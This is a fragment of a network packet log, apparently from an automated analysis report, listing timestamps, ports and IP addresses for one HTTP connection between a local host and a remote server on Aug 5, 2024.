Aug 5, 2024 12:01:03.965400934 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965415001 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965430021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965442896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965456963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965457916 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.965470076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965483904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965487003 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.965502024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.965514898 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.965533972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.017771006 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.253773928 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.253820896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.253835917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.253923893 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.253946066 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.253993988 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254007101 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254075050 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254089117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254178047 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254215956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254230022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254244089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254290104 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254484892 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254499912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254513979 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254527092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254548073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254551888 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254551888 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254563093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254594088 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254913092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254925013 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.254926920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254940987 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254961967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254976034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254988909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.254995108 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255002975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255007982 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255018950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255052090 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255176067 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255327940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255548000 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255562067 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255575895 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255589962 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255604029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255618095 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255621910 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255630970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255636930 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255654097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255666971 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255667925 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255677938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255685091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255697966 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255712986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255727053 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255727053 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255742073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.255744934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.255781889 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.256522894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256537914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256552935 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256567001 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256581068 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256593943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256608009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256609917 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.256622076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256634951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256649017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256655931 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.256655931 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.256661892 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256675959 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256690025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256700039 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.256704092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.256717920 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.256863117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.257391930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257405996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257420063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257433891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257447004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257461071 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257473946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257483959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.257483959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.257483959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.257488012 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257503033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.257528067 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.257603884 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.258975983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259040117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259054899 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259171963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259186029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259201050 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259202957 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.259213924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259274960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.259430885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259443998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259455919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259459972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.259470940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259501934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.259501934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.259691954 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259706020 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259720087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259737015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259856939 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.259962082 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259977102 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.259990931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260004997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260037899 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260108948 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260283947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260298967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260312080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260325909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260339975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260348082 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260354042 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260365963 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260369062 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260382891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260409117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260409117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260412931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260499954 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.260751963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260766983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.260971069 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.341762066 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.517134905 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.600610971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.600651979 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.600666046 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.600795031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.600807905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.600815058 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.600822926 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.600876093 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.600888014 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601030111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601047993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601167917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601185083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601186991 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601212978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601227999 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601243019 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601258039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601270914 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601270914 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601389885 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601783991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601798058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601810932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601824999 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601838112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601852894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601865053 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601877928 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601881981 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601881981 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601891994 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601903915 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601906061 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601919889 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.601931095 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.601950884 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.602627039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602642059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602655888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602669954 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602684021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602698088 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602713108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602716923 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.602725983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602740049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602746010 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.602754116 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602768898 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.602801085 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.602801085 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.602950096 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.603426933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.603446007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.603458881 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.603472948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.603487015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.603502035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.603534937 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.603557110 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.603557110 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.604135990 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604151964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604165077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604178905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604192972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604207039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604219913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604233027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604247093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604252100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.604252100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.604260921 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604274988 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604289055 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.604289055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604314089 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.604454041 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.604928970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604943037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604957104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604970932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604984999 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.604998112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605011940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605025053 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605036020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605036020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605036020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605038881 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605052948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605066061 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605081081 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605108976 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605108976 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605145931 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605885029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605902910 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605916023 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605931044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605945110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605957985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605972052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605986118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.605995893 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605995893 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605995893 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.605999947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606014013 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606026888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606040955 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606090069 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606090069 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606154919 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606709957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606724977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606738091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606751919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606765032 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606779099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606791973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606797934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606806040 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606820107 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606828928 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606834888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606848955 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606861115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606873989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606878996 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606882095 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606894970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606909037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.606918097 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.606918097 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.607064009 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.607598066 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607614040 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607626915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607640982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607656002 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607670069 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607682943 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.607682943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607682943 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.607697964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607712030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.607726097 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.607824087 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.948918104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.948949099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.948964119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949009895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949018955 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949033976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949048996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949079037 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949079037 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949103117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949287891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949306011 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949371099 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949403048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949418068 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949430943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949445009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949459076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949471951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949486971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949500084 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949500084 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949501038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949501038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949543953 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949822903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949841022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949855089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949870110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949883938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949898005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949903011 CEST	49864	80	192.168.2.7	27.221.16.179
